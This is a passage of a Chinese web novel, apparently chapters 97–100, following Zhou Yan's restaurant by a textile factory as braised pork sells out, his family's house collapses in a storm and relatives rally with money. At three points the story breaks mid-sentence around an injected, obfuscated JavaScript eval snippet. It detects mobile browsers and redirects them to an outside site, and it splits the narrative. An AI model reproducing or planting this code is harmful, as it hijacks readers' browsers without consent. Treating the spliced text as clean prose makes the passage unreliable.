“还有，我定价本来就已经比他们一斤贵三毛钱了，他们在你身上使的那点招数，在我身上还没使就失败了。”周砚笑着道：“他们要愿意降价，那就让他们降去吧，我反正无所谓，也不会跟。” “对啊！”赵明辉也突然意识到了这一点周砚这情况跟他当初根本不一样。 贵三毛，客人还抢着要买，这说明了什么？ 那肯定好吃啊！ 比他们三家好吃到哪怕贵三毛钱也要买的那种程度。 “我妈说你散卤花生给客人们吃，效果怎么样？”周砚吃着花生，随口问道。 “效果可太好了！我就是想来感谢你的。”赵明辉说起来还有点激动，“我散了两三斤，剩下的十斤中午就全卖完了，还有好几个找我预定明天的，不少客人吃了都说好呢。” “那挺好的，生意稳定下来，那就是稳定的收入了。”周砚笑着点头。 赵明辉和周砚摆了一会龙门阵就回去了，他急着回家再煮一锅卤花生，趁着晚上下班再卖一波。 他就住在苏稽镇上，离得不远，卤花生又不需要太久，卤好了端来可能还是热的，那可比冷的还好吃。 人啊，在能挣到钱的时候总是干劲满满的。 周砚浅浅眯了一会，又和周沫沫玩了一会石头剪刀布，然后就回厨房切猪头肉和耳片了。 没办法，中午的教训非常深刻，必须要提前把猪头肉和猪耳朵给切了，这样晚高峰赵嬢嬢只需要称重打包，保证效率。 晚上下班时间，工人们等着拿着卤肉回家吃饭，哪有那么多功夫慢慢等你炒完几个菜再给他切。 鸡肉也先斩了，晚上客人点了只需要负责凉拌即可。 凉拌鸡打包需要自带饭盒，这个规矩写在门口的。 没办法，周砚实在找不到能用的打包盒，他甚至连个塑料袋都没有。 卤猪头肉和卤耳片用的是油纸袋，这是眼下比较常见的卤味打包方案。 在这方面，周砚不追求特立独行，够用就行，成本还是得控制。 “妈，我想招个墩子，你有没有合适的人选？”周砚瞧见刚睡醒午觉的赵嬢嬢下楼来，开口询问道。 赵嬢嬢人脉比他广多了，说不定会有合适的人选。 “墩子？”赵嬢嬢揉了揉眼睛，刚睡醒还有点迷糊，看着正在切耳片的周砚道：“你是觉得切卤肉忙不过来吗？” “对，今天中午又要切卤肉，又要炒菜，还要拌凉拌鸡，我快忙疯了。”周砚点头。 “确实有点忙，让我想想……”赵嬢嬢认真思考了一番后，摇了摇头：“我也没啥子很好的人选，身边要说刀工最好的，就是你老汉了。平时过年过节，都是他负责帮你奶奶切卤肉的嘛，你奶奶指定让他切，就他切的她最满意。” “我老汉要杀牛还要卖肉的嘛。”周砚摇头，杀了一辈子牛的老周同志，岂会来给他当墩子，“算了，回头我写个招工启事贴门口，看能不能招到合适的人。” 厂食堂的闹剧，开始趋于平静。 今天中午厂长和两位副厂长现身厂食堂，跟工人们一起吃大锅菜，并且再三承诺，瘟猪肉的事件不会再发生，副厂长刘雨生将对厂食堂直接负责。 厂领导的重视和决心，让工人们对于厂食堂重拾了一些信心。 没办法，该吃还是得吃啊。 厂食堂便宜量大啊，大锅菜，一份回锅肉才四**五，素菜一毛钱一份，米饭自己带饭盒蒸，两三个人搭伙吃饭，有荤有素一顿才两毛钱。 厂食堂的小炒区被取消了，所有厨师安心给工人们做好大锅菜，以前大厨做小炒，学徒做大锅菜的情况不会再出现。 午饭后工人们对于大锅菜的反馈普遍不错，就算肖师傅走了，厂食堂还是三位三级厨师的，认真炒大锅菜，怎么也不会难吃。 就是以后想吃小炒，吃点好的，就得去周二娃饭店了。 周砚从工人口中听说这个消息，还是挺高兴的。 厂食堂没干垮，但小炒区被他干垮了啊。 罪魁祸首王德发已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16200214|181213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经进去了，据说他和孙美丽同盟破裂，已经进入狗咬狗阶段，互往对方身上泼脏水，都不需要怎么审，把事情交代的比保卫科干事查得还干净。 涉案金额超过五万，在这个年代，牢底肯定是要坐穿的。 全国万元户才几个？ 简直胆大包天！ 周砚想到了小周，当他们的记忆融合在一起的时候，他是周砚，也是小周，或许早就没有什么区别。 这个时代，他挺喜欢的。 这里的人，这个家，他更喜欢。 今天晚上，饭店的生意还更好一些。 周二娃饭店的卤猪头肉巨好吃的消息，下午就传开了。 有工人打包了卤猪头肉，本来是打算带回家下酒，结果味道被车间的同事闻到，哪里还藏得住，午间休息的时间就被分光了。 工人手里捧着一堆角角钱和分分钱，欲哭无泪，这群婆娘简直土匪啊！ 尝到滋味后，口碑迅速发酵。 而且厂里的有些老员工还尝出回忆来了，这风味和当年在石板桥头摆摊的张记卤味太像了。 “老板，你这卤肉跟谁学的？这是当年桥头的张记卤味的味道啊！”有个老工人拿着饭盒，情绪还有点激动。 “当年的张记卤味是我婆婆摆的，现在这卤味是周砚跟他奶奶学的。”赵嬢嬢笑着回道。 “那怪！做的太好了，学到精髓了。”老工人递过饭盒：“给我切半斤猪头肉，再要一份凉拌鸡嘛。” “张记啊！当年名气好大哦！” “我老汉还经常念起呢，说整个嘉州最好的卤味就是张记，可惜后来就没卖了。” 老工人的话引起了不少人的回忆，特别是家里老一辈买卤味的时候总会念叨两句，让张记卤味成了年轻一辈心中的卤味天花板了。 本来就冲着卤味来的工人们，下单更果断了： “我也要半斤卤猪头肉！” “我要一个猪耳朵！” “嬢嬢，饭盒给你，我要打包一份凉拌鸡！” 打包卤菜的客人把饭店门口围着买，进店吃饭的客人也有不少抢着点的，手里还拿着刚从小卖部买的酒。 卤猪头肉最是下酒，下了班和同事小酌一杯，那可太巴适了。 这样一来，剩下的猪头肉很快就卖完了。 周砚看着竹编小簸箕里剩下的一点耳片和猪头肉，怎么都不够一份了，便通知赵红把卤菜的牌子全部进入估清区。 剩的一点，给老周同志打包回去吃。 估计加固房子和换瓦的工作量不小，这个点他都还没来。 “不好意思，第一天卖准备的少一点，明天一定多准备一些的，明天再来买嘛。”赵嬢嬢日常道歉，向没有买到卤肉的客人表示歉意，以及做出下次一定的承诺。 “卤肉卖完了吗？”王宏亮推着自行车在门口停下，也是跟着问了一嘴。 今天下午他就听到周二娃饭店卖卤肉的消息，听说味道跟当年的张记卤味相差无几，这可把他的好奇心勾起了，晚上下班去食堂巡了一道，出来就晚了些。 “厂长，实在不好意思，今天已经卖完了。”赵嬢嬢笑着说道，“明天早点来嘛。” “要得。”王宏亮点头，略微有点失望。 厂长来晚了也买不到！ 工人们心里顿时平衡多了。 求月票！！   (本章完) 第97章 周砚！你家塌房了！（1000月票加更！ 周二娃饭店卤味卖的火爆，杨老三和朱峰傻眼了，平日喜欢卖卤肉的客人全被截走了，他们备的十几斤肉，还一点没卖呢。 相比之下，赵明辉的卤花生卖的相当火爆。 下午他回去又卤了十五斤，还是边尝边买的方式，不买不要紧，路过的工人都塞几颗尝尝。 花生这会还是温热的，口感和味道比凉了还要更好几分，成交率极高。 四**五分一斤的卤花生，买三毛钱就有一包了，拿回去下酒或给小孩当零食都是极好的。 他今天准备的两只甜皮鸭，也都卖完了。 张秀琴负责打包和收钱，脸上的笑容格外灿烂。 她也没想到，周砚随手一指点，竟然让他们生意变得那么红火。 之前她不看好的卤花生，今天直接卖的太好了，十多斤，没多久又卖完了。 光卖卤花生，他们今天都能多挣四五块钱！ 杨老三和朱峰凑一堆，嘀咕了几句，然后又各自分开。 “杨记卤味和朱记卤味联合搞一周年庆！猪头肉一块九一斤！猪耳朵两块四一斤！味道巴适得很！”两人立马开始吆喝起来，一斤比他们平时卖便宜了三毛钱。 卤猪头损耗其实不小，周砚卖两块五也就一半毛利，一斤降三毛钱，他们俩可是肉疼得很。 可没办法啊，每天就卖这一个小时的下班时间，要是卖不出去，今天这些猪头肉可就砸在手里了。 王老五前车之鉴，现在纺织厂的工人们对门口摊贩的品质要求大幅提高，他们根本不敢赌卖昨天剩下的卤肉会不会被抓。 早上卤好的肉，摆了一天了，拿回家明天就发黑，根本卖不了第二趟。 周二娃饭店没买到，又被勾起馋虫的客人，听到这边降价，倒也有过来购买的。 一块九一斤的猪头肉，平时可买不到。 也不知道是真的周年庆，还是被周二娃饭店给倒逼降价的。 不过啊，这是对客人来说好事。 两块五一斤的卤猪头肉好吃，但一块九一斤的卤猪头肉能多吃几片，多下两口酒啊。 总有一批对价格更敏感的客人，在六毛钱的差价面前，会果断选择便宜，味道还将就的。 周二娃饭店没卖卤肉前，他们还不都是在这两家买的卤猪头肉。 当然，如果一斤只差两三毛钱的话，那就会认真考虑哪一家的味道更好了。 天色愈发深沉，客人们吃饭都加快了几分，要赶在天黑前回家。 等客人走完，外边已经开始飘起小雨。 老周同志一身灰，在堤坝上拍了一会才过来，头上戴了个竹编的斗笠。 “你们先回去吧，剩下的几桌碗我来收，明天早上洗都来得及，你们先回家，免得淋一身！”周砚把给他爸打包的饭盒递给他妈，催促道。 “要得！赵红，莫收了，回家，这天色看起来是要下一场大雨。”赵嬢嬢解了围裙，向赵红喊道。 “周砚，你放着明天早上我过来洗嘛。”赵红说了一声，解了围裙也是往门外走，周飞已经在门口等了有一会，拿了个蓑衣递给她。 “这点雨穿啥子蓑衣，搞快，回家也淋不到好多。”赵红反手把蓑衣递给了赵铁英，“四嬢，你穿，把沫沫裹起，免得淋雨感冒了。我钻周飞后头就行。” 赵铁英看了眼穿着蓑衣的周飞，笑着点头：“要得，明天早上我给你放门口，早上下雨记得穿。” “好”赵红应了一声，掀起周飞的蓑衣把上半身钻进去，骑着就走了。 “我要坐前头！”周沫沫凑到车前，就要往上爬。 “坐锤子，下雨坐后头，我抱着你。”赵铁英穿上蓑衣，把她拎了过来裹在蓑衣里。 “弄了一下午，都忘了拿蓑衣了。”老周同志把斗笠给赵嬢嬢戴上，有些不好意思。 “我这里还有一个。”周砚拿了个斗笠出来，给老周同志戴上，“下雨路滑，慢点骑哈。” “要得，你回去，莫要淋雨。”老周同志点点头，蹬着自行车离去。 天色愈发黑，小雨慢慢变成了中雨，连成一片，哗啦啦的下着。 摊贩们慌乱扯着油布，收拾着钱、调料和没卖完的食物。 这场秋雨，意外的有些大。 这就是开店的好处啊，遇上一些突发天气，不会那么狼狈和兵荒马乱。 十五块钱的月租，在这一刻显得很有性价比。 都说一场秋雨一场寒，周砚估摸着接下来就要开始降温了。 天气一冷，凉菜会渐渐没那么好卖，特别是凉拌鸡之类的，冬天是冰牙的。 卤肉会有一些影响，特别是冬天的时候，肥肉会发硬，口感变得没那么完美。 不过这是个缓慢的过程，川南不是北方，温度下降是相对温柔的，他还能再卖上一段时间。 天气一冷，大家都想吃点热乎的，跷脚牛肉即将迎来旺季。 冬天吃一碗刚出锅热气腾腾的跷脚牛肉，喝上一碗鲜美的牛肉汤，全身暖呼呼的，谁能抵抗得住这种诱惑啊？ 周砚把门关上，风雨也被关在了门外。 碗筷收到后厨清洗区，全部洗净晾在一旁的碗架上。 周砚从柜台后扯出钱箱，拿出账本，把账给记了。 今天准备的卤猪头和凉拌鸡全部卖完，收入43.32元，试吃消耗了三斤多。 面条多卖了二十碗，收入增加12元。 他已经听说了食堂的改革方案，取消小炒，所有厨师专注做大锅菜，专注低价亲民路线，为工人同志服务，包子、稀饭、面条味道肯定会有提升。 他预计饭店的面条销量会慢慢回落到八十碗，能稳住就行。 这是正常的竞争，周砚完全能接受。 不过厂食堂取消小炒区，意味着周砚将独占纺织厂的小炒业务，和价格极低的大锅菜正面竞争。 今天的营业额为416.3元，利润为207.1。 均破了他自己的记录。 卤味的推出，确实打开了一部分不进饭店的客人的市场。 也有客人问卤牛肉，但四块钱一斤的价格，确实让人有些望而却步，所以周砚决定明天继续空缺。 今天周砚在客人中还看到了几个熟面孔，在昨天的婚宴上见过的，应该是老师和镇政府的公务员。 这说明昨天的婚宴，为他成功拓展了一些新的客人。 即便目前人数还不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16200215|181213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多，但这个圈子随着口碑的慢慢发酵，是相对容易滚雪球的。 【叮！主线任务：制霸纺织厂完成！宿主成功拓展1000+用户，成为纺织厂知名度第一的个体户饭店！】 【任务奖励已发放：火爆猪肝】 周砚刚把账本合上，系统的提示音随之响起。 瞧着这提示，周砚面露喜色。 火爆猪肝是盐都有名的桥头三嫩之一，这道菜在川菜馆中相当常见，菜单上基本少不了，颇受欢迎。 常见菜，但特别考验厨师的火候。 炒不好猪肝，生硬发苦，味如嚼蜡。 过于追求极致的嫩，客人吃完又容易打标枪。 所以如何把握好这个度，就是厨师控火候能力的体现。 猪肝是补血的好东西。 周砚口味偏重，爱吃火爆猪肝、肝腰合炒、干锅肥肠这类菜。 而且猪肝价格特别便宜，只需三毛钱一斤，炒一份猪肝用四两猪肝。 周砚已经开始考虑定价的问题了，是黑心多赚点，还是给客人们推一道低价菜？ 不想那么多，周砚先把火爆猪肝给点开学习了。 知识进入脑子，无数的经验融入他的脑海，就像是他曾无数次烹饪过这道菜一般。 一分钟后，周砚的目光已经恢复了清明。 火爆猪肝，拿捏！ 周砚脑子一转，猪肝的处理，爆炒，调味，已是了然于胸。 火爆腰花、火爆猪肝、火爆脆肠是他师父的拿手好菜，所以周砚擅长切腰花，也看过很多次他师父炒这三个菜。 在掌握了火爆猪肝之后，他觉得自己对火爆腰花和脆肠也有了一些把握性。 明天就买点猪腰回来试试，不急着卖，中午先炒给自己人尝尝看。 如果差点意思，还能去找师父请教。 赵东可不止一次问他火爆猪肝和火爆腰花啥时候能上，从食堂小炒的销售情况来看，男同志普遍爱点这道菜，是有稳定市场的。 上！明天就上！ 周砚取出一块木板，把火爆猪肝写上。 思索了一会，写上价格：0.8元。 猪肝价格便宜，但这菜重油，还要加配菜配料，成本约摸三毛。 周砚还是决定把价格定高一点。 定价考虑的不仅仅是成本，还需要考虑其他菜品的价格。 如果火爆猪肝太有性价比，点的人多了，必然会影响到其他菜品的销售，并且拉低客单价。 周砚增加菜品是为了赚更多的钱，而不是左右手互博，越忙活赚的越少的。 木牌挂上菜单墙，周砚心满意足地去洗漱睡觉。 外面下着大雨，哗啦哗啦的，倒是特别助眠，周砚眼睛一闭，一会就睡着了。 …… 砰！砰砰！ 睡的正香的周砚，被一阵急促的敲门声吵醒了。 睁开眼，他还有点迷糊，就听到了周杰的声音：“周砚！周砚快起来！你家塌房了！” —— PS：第三更！1000月票加更！继续求月票~ 第三更！1000月票加更！求月票！ (本章完) 第99章 人间清醒赵嬢嬢 赵铁英听到周砚的话愣了一下，眼睛很快亮了起来：“要得！就搬你饭店去住！” 饭店有两层，一楼开店，二楼大部分面积都是空着的。 周砚只占了楼梯口一小块地方，弄了个小房间睡觉，其他地方都是空着的，稍微打整一下，他们就能住。 一来不用另外给租金，二来也避免了搬回老宅的一些麻烦。 修房子的钱一时半会存不下来，但明天把床板挖出来晒一晒，弄两床铺盖就有地方睡了。 周砚现在说话确实靠谱，一下就把她心头的问题给解决了。 远亲近仇，老太太治家的道理她非常认同。 赵铁英当家二十多年，素来是有主见的人，喝了姜汤，在这暖烘烘的屋里待了一会，慌乱的心渐渐平复下来，没等老太太开口，便说道：“妈，这事就这么定了，我跟周淼都想去周砚店里住，一家人住在一起也方便些，免得沫沫天天在背篼里背来背去，睡不到一个安稳觉。” “对。”周淼连忙点头，表示对赵铁英同志权威的拥护。 老太太见赵铁英态度坚决，点头道：“行，听你们自己的意思。” 赵铁英的心思她岂会猜不到，这小叔子要娶媳妇，都不想拖累他呢。 住的事情达成了统一意见，算是初步解决了。 大爷起身，从兜里摸出两张大团结递给赵铁英，开口道：“弟妹，这是我跟你嫂子的一点心意，要是有什么困难，随时来找我们。” 二伯、三伯、小叔跟着起身，也是一人拿了二十块递到赵铁英的手里。 接着是周飞领头，周海、周杰几兄弟，一人拿了十块交到了赵铁英的手里。 这是老周家的传统，一方有难八方支援，团结一心度过困难。 赵铁英捏着一把大团结，红了眼眶，吸了吸鼻子，笑着道：“这钱我就不跟大家推拉，眼下确实会有点困难，需要钱把住的地方安顿下来。最晚年底，我一定把这个钱给大家还上。” “一家人还啥子，这就是我们的一点心意。”大伯笑着道。 其他人也是纷纷应和。 “不得行，这钱就是我借的，我也不写借条，反正年底前我一定还给大家。”赵铁英神情认真道：“你们晓得的，我说话，向来说到做到。” 众人闻言都笑了，也就不再多说。 周砚看着这一幕，心头也暖暖的，这就是一家人啊。 外边公鸡开始打鸣。 老太太看了眼表，开口道：“该去杀牛的去杀牛，该去摆摊的去摆摊，该回去睡回笼觉的回去睡回笼觉。这个事情就这么定了，大家不必挂念，做好各人的事情，散会！” “要得！”众人纷纷起身，带着一身暖意告退。 陈月月紧紧挽着周浩的手臂，两人打一把伞，笑着说道：“你们家的氛围好棒啊！我感觉我嫁进了一个超棒的大家庭！有种被爱和幸福包裹的感觉。” “我们家语文老师想写篇小作文了吗？”周浩笑盈盈道。 “哎呀！”陈月月伸手轻轻锤了一下他的胸膛，却又忍不住去想，小声道：“感觉奶奶和四嬢都是很厉害，很有主见的人。” 周浩点头：“那是，我奶奶在周村人人敬重，就连县里领导来家里拜访，都对她非常尊重。四嬢也不一般，外号铁娘子，年轻的时候是民兵大队的副队长，民兵比武还拿过打靶标兵，据说近身格斗一般男人都打不过他。” “难怪四叔那么害怕她！”陈月月眼睛瞪大了几分，感觉自己发现了盲点。 “这你就不懂了，四叔那不是害怕，是尊重，我们老周家尊重老婆是家教，也是传统。”周浩笑着道：“你可不要小瞧我四叔，他看起来瘦，我老汉说五兄弟里，只有小叔力气比他大点。他杀牛的手艺更是周村第一，用刀手法可厉害了。” 陈月月若有所思，然后笑盈盈的看着周浩：“那你是害怕我，还是尊重我呢？” “我一只手能按住五个你，你说我是害怕还是尊重?” “我不信！那你有本事用一个手指头按住我！” “慢点！全是水坑坑，你拿伞，我背你回去。” “好！” “我爱你，老公。” …… 周砚他们一家没急着走，赵嬢嬢正在安排今日计划。 赵铁英看着周淼道：“老周，你背起工具，还是按照计划去帮人杀牛。这是定好的事情，主人家肯定连帮手和销路都找好了，莫要让主人家为难。” “但是今天……” “没有但是，你去把今天的三块钱挣回来，我可以买两条新毛巾，买两个新牙刷，再买个洗脸的木盆，今天晚上就不用为洗漱发愁了。杀完牛你回来挖东西，以安全为主，一天时间能挖好多算好多。”赵嬢嬢打断了他的话。 “要得。”周淼背起背包，拍了一下周砚的肩，便出门去了。 老太太在旁边嗑瓜子，看着这一幕微微点头，铁英治家，还是有几分她的风范。 “妈……”周砚起身。 “走，去拿背篼，把沫沫装起，我们也该去买菜卖肉准备开门营业了。”赵铁英起身出门拿了背篼进来，转进房间把睡的正香的周沫沫小心装进背篼，又扯了张油布弓起盖在上边，和老太太打了声招呼，风风火火的出门去了。 “奶奶，小叔，那我们先走了哈。”周砚和老太太说了一声，连忙快步跟上。 “妈，今天你要不……” “还要为那堆埋在土里的破布默哀一天吗？房子垮了就要挣钱再把它修起来，在这之前，就要努力挣钱存钱，一刻都不能浪费。”赵铁英停下脚步，看着他道： “我要是歇一天，工资少一元，提成少六元，亏得比你老汉还多！” “你要是歇一天，你要少挣多少钱？有多少客人没吃上饭要失望？听了别人推荐来的客人下回还来不？” “做人一定要清醒，钱都握不住，你还能握的住啥子？” 周砚有些震惊的看着赵嬢嬢，然后点头：“说得对！” 这账，赵嬢嬢盘的明明白白。 周二娃饭店要是歇业一天，少挣两百块，够给他们把床、被子置办了，还能买几身衣服，买够生活用品。 没错，这年代两百块钱就是这么管用。 只要不碰大件，不碰电器，五分钱都能买把菜回家。 塌房打乱的计划，被赵嬢嬢强行掰回了正轨。 天微微亮，雨已经停了，土路还是很湿滑，周砚小心翼翼的骑着，毕竟周沫沫还在背篼里呼呼睡着呢。 路过周飞家的时候，赵嬢嬢吼了一嗓子，提醒赵红记得去上班。 “今天还是正常开门？”赵红跑出门来，有些惊讶。 毕竟房子塌了这么大的事，怎么也得缓缓吧。 “开！该怎么开门还是怎么开门，房子这边交给你四叔就行，能挖出啥子就挖啥子。”赵铁英笑着道。 “好，那我收拾一下就出门。”赵红点头。 路过自家房子的时候，赵铁英还是忍不住多看了两眼。 昨天还住的好好的房子，现在成了一片废墟，说不难受肯定是假的。 “没事，以后挣了钱，我给你修栋楼房，砖砌的，打混凝土，两层半的那种，比纺织 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16200217|181213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 厂的房子还要牢固。”周砚笑着宽慰道。 “要得。”赵铁英笑着点头，脸上多了几分憧憬。 周砚买了肉，一路有惊无险的回到了饭店。 今天他买了六个猪脑壳，四只鸡，准备大干一场。 另外还买了半斤猪肝，四个猪腰，以及一些火爆猪肝、猪腰用的配菜。 今天大幅增加卤猪头和凉拌鸡的量，火爆猪肝他决定延后一两天再上，今天中午先炒一份自己人试吃。 “你还会炒猪肝和腰花？”把食材盘进厨房，赵铁英有些意外的看着周砚。 “这是我师父的招牌菜，火爆三兄弟，我作为他的得意门生，肯定会撒。”周砚脸不红心不跳道。 赵铁英这才发现墙上已经挂了火爆猪肝的牌子，犹豫道：“八毛钱一份？三毛钱一斤的猪肝，会不会卖的有点贵啊？别家一般卖五毛钱左右嘛。” “一般师傅做的卖五**，我做的好吃，卖八**，那三毛钱是为味道买单。”周砚笑着道：“要是定的太便宜的话，大家都点火爆猪肝，其他菜卖不动了，怎么挣钱修房子呢？后面上素菜的时候，我再定几个便宜的，这样想吃肉菜的也不影响。” “你是老板，你说了算。”赵铁英转身去处理牛肠和牛杂去了，今天耽搁了时间，下雨河水涨了不少，水是浑黄的洗不了牛杂，只能带回来用井水洗。 “小叔，节哀，这是我的一点心意，希望你们的房子能尽快修好。”周立辉摸了两毛钱，递给周砚，并强调道：“这是我自己存的零花钱。” 他昨天晚上没听到动静，今天早上跟他妈来饭店的路上才发现四爷爷家的房子塌了，大为震惊。 “你的心意我收下了，不过这两毛钱你自己留着买零食吃，大人是不需要小孩的两毛钱来修房子的。”周砚笑着说道，把钱给他塞回了口袋。 他能有这份心意，周砚已经觉得相当不错。 增加了卤肉之后，早上变得格外忙碌。 做完面，又马不停蹄的开始卤肉，煮鸡。 猪蹄他买了，五个，店里一人一个。 劫后余生，吃点好的不过分。 早上营业前老周同志没赶回来，赵嬢嬢拍板决定，把午饭时间推迟到营业结束后，看他老汉要不要回来吃。 周砚对此没有意见，反正他在后厨做菜从来就没饿过。 但周沫沫饿啊，最近习惯了吃早午，工厂一放班，周沫沫就在喊肚子饿了。 “周砚，把她那个猪蹄捞给她吃。”赵嬢嬢喊了一声。 “要得！”周砚应道，已经把猪蹄捞了一个出来。 赵嬢嬢在门口卤菜摊摊前给她放了个小凳子，又给她系了个小围裙，让她往那一坐，把手擦的干干净净，然后把温热的猪蹄直接塞她手里。 “一大个！”周沫沫捧着大猪蹄，眼睛都在发光，一脸震惊的看看赵嬢嬢，又回头看看周砚，还是不敢相信：“锅锅，都是我的？” “对，都是你的。”周砚笑着点头，“吃不完的话……” “啊呜~”周沫沫已经张嘴咬了一口，根本不存在啥子吃不完！ 纺织厂的工人们下班，一出大门就瞧见一个可爱的小姑娘，捧着一个大卤猪蹄子在啃。 颤巍巍的皮子，小嘴一抿就下来了，软糯糯的肉筋，轻轻一咬就断了。 手上脸上油光光的，啃的那叫一个香啊。 “咕噜~” 第二更！ 今天更新7k，求月票！ 明天会加更！   (本章完) 第100章 周砚还是太有实力了（第一更） 工人们有点走不动道了，不知多少人咽了咽口水。 这猪蹄，看着就好吃啊！ 不对，看着这小姑娘吃，更香了！ 卤猪蹄色泽红亮，泛着油光，小家伙的手一掐都能陷进去，捧着啃。 三岁半的小姑娘能一口啃个坑，这猪蹄得卤的有多软糯啊，吃的那叫一个香。 自个啃个卤猪蹄，这是多少人梦寐以求的事情。 人家小姑娘，三岁半就实现了，实在让人羡慕。 “赵嬢嬢，这卤猪蹄多少钱一个啊？”王薇今天和同事一起来吃饭，忍不住发问。 其他人也是纷纷看向了赵铁英，眼里满满都是求知欲。 “卤猪蹄还没有卖哦，所以也没有定价，今天是卤来自家人吃的。”赵铁英笑着回道，这是她跟周砚学的，效果果然非常好。 “好好吃哦，大猪蹄子。”周沫沫吃得兴起，还不忘夸赞两句，悬着的小短腿跟着晃啊晃的。 “不卖啊！” “为啥子不卖呢？价格不贵的话，我也想买一个尝尝啊！” 工人们顿时一阵唉声叹气。 不卖就算了，甚至连个价格都没得！ 要是贵的话，他们就**心不惦记了嘛。 现在完全就是被吊起来的状态。 赵铁英琢磨了一下，开口道：“有好多人想吃？我记一个数，要是多的话，我看周砚明天要不要给大家整。价格的话，一只不会超过一块五，不过猪蹄不太好买，数量应该不会多。” 早上买猪蹄的时候，周砚跟她说过后面会上卤猪蹄，所以她才临时让幺女坐门口啃猪蹄。 猪蹄三毛五一斤，这一个猪蹄是一斤二两左右，本钱四到五**。 周砚还没具体定价，只说大概一块二左右。 她说个一块五，既给周砚留足了定价空间，明天要是比这个价格便宜，客人还会觉得得了便宜。 工人们听完，顿时有点沉默了。 一块五一个？ 这个价格好像有点贵啊？ 比普工一天工资还多。 猪蹄毕竟没啥肉，这价钱都能吃一份双椒牛肉碎，再喝碗跷脚牛肉了。 与众人的沉默相比，周沫沫吃猪蹄的声音有点太大声了，猪蹄筋有点粘嘴皮子，她嚼的可大声了，一边吃，还一边晃着小脑袋，一口接一口，好像她的眼里，她的世界只剩下眼前的卤猪蹄。 “赵嬢嬢，我要预定一个。”王薇举起手，果断预约。 她又没男人和娃要养，爸妈工资比她高，花自己的钱吃个大猪蹄怎么了？ 一天工资嘛，她吃得起！ 她都不敢想抱着一整只猪蹄啃会有多幸福。 王薇一带头，立马又有几个工人跟着预约的。 一个人吃觉得贵，那就找个朋友拼单嘛。 吃半个，也一样很爽好吧！ 赵铁英拿出小本子开始写正字，一会功夫就预定了六个。 当然，更多的工人选择观望，等正式卖的价格出来了，再考虑要不要吃。 周砚站在厨房门口听了一会，有被赵铁英的话惊讶到！ 赵嬢嬢可真是营销天才啊！限量供应，提高预期，雷总那套她是玩的明明白白。 卤猪蹄他的计划是卖一块二一个，利润能到一半，又在客人的接受范围内，就是好价格。 不过推出卤猪蹄的计划，倒是被他妈给提前了。 这波营销做的，一点不比他自己上手差啊。 赵嬢嬢学东西可真快！ 客人们陆续进店，周沫沫成了活招牌，工人们路过都会忍不住多看两眼，看着看着，不知怎么的就走进了店里。 一进店，客人们桌上的菜可就太诱人了，哪里还能忍得住不坐下来点两个菜尝尝。 周砚的后厨很快就忙碌起来了。 两个穿着中山装的中年男人骑着车来到纺织厂外，左右扫视着。 “**长，周二娃饭店，在那呢！”老马伸手一指，笑着说道。 黄琛也瞧见了，笑着道：“人还不少呢，走吧老马，咱们中午就在这吃。” 两人把车停下，便瞧见周沫沫抱着啃了一半的猪蹄吃的正香。 “这不是老太太的小孙女嘛，这猪蹄啃的可真香。”黄琛笑着道，这小姑娘长得可爱，那天可是给他留下了深刻印象。 “**长，你们来了。”赵铁英看到黄琛有些意外，还有点紧张，该不会镇上领导又来查什么吧？ “赵同志，我们过来吃午饭的。”黄琛笑着道。 赵铁英闻言松了口气，笑着道：“那快请进，刚好还有张桌子。” 黄琛和老马进了店，才发现店里已经坐满了人，看客人们穿的制服，基本都是纺织厂的工人，生意相当火爆。 两人落座，赵铁英指着一旁墙上的菜单道：“你们先看看菜单，要点什么菜再跟我说。” “好。”黄琛点头，认真看起菜单。 “这菜价，还有点贵呢。”老马扫了一眼，小声嘀咕道。 “个体户**的价格要贵一些，这菜价其实不算贵，蓉城那些大饭店那才叫贵呢。”黄琛笑着道，他分管经济，对这方面了解的更多一些。 菜价正常，但菜品少了点，凉菜除外，也就六个菜，都是一般川菜馆常见的菜式。 唯独一道‘跷脚牛肉’，让他有些好奇。 他没急着开口问，而是左右观察了两眼，便瞧见隔壁桌上一位客人正端着一个陶碗呼噜呼噜喝汤，喝的那叫一个香，额头上冒出了一堆汗水。 右边那桌客人桌上也有个陶碗，冒着热气，里边满满当当的都是牛肉、牛杂和牛蹄筋，瞧着挺清淡的，往那辣椒面里一蘸，立马变得红彤彤的，看起来颇为诱人。 不用猜，这就是所谓的跷脚牛肉了。 赵铁英守着门口的大锅，做的就是跷脚牛肉。 就这么打眼一扫，点的客人还不少呢。 昨夜大雨，今天气温明显下降。 瞧着这热气腾腾的牛肉汤，还真想来一碗暖暖身子。 老马跟着瞧，也是吞了吞口水。 黄琛心头大概有数了，开口道：“赵同志，我们点餐。” 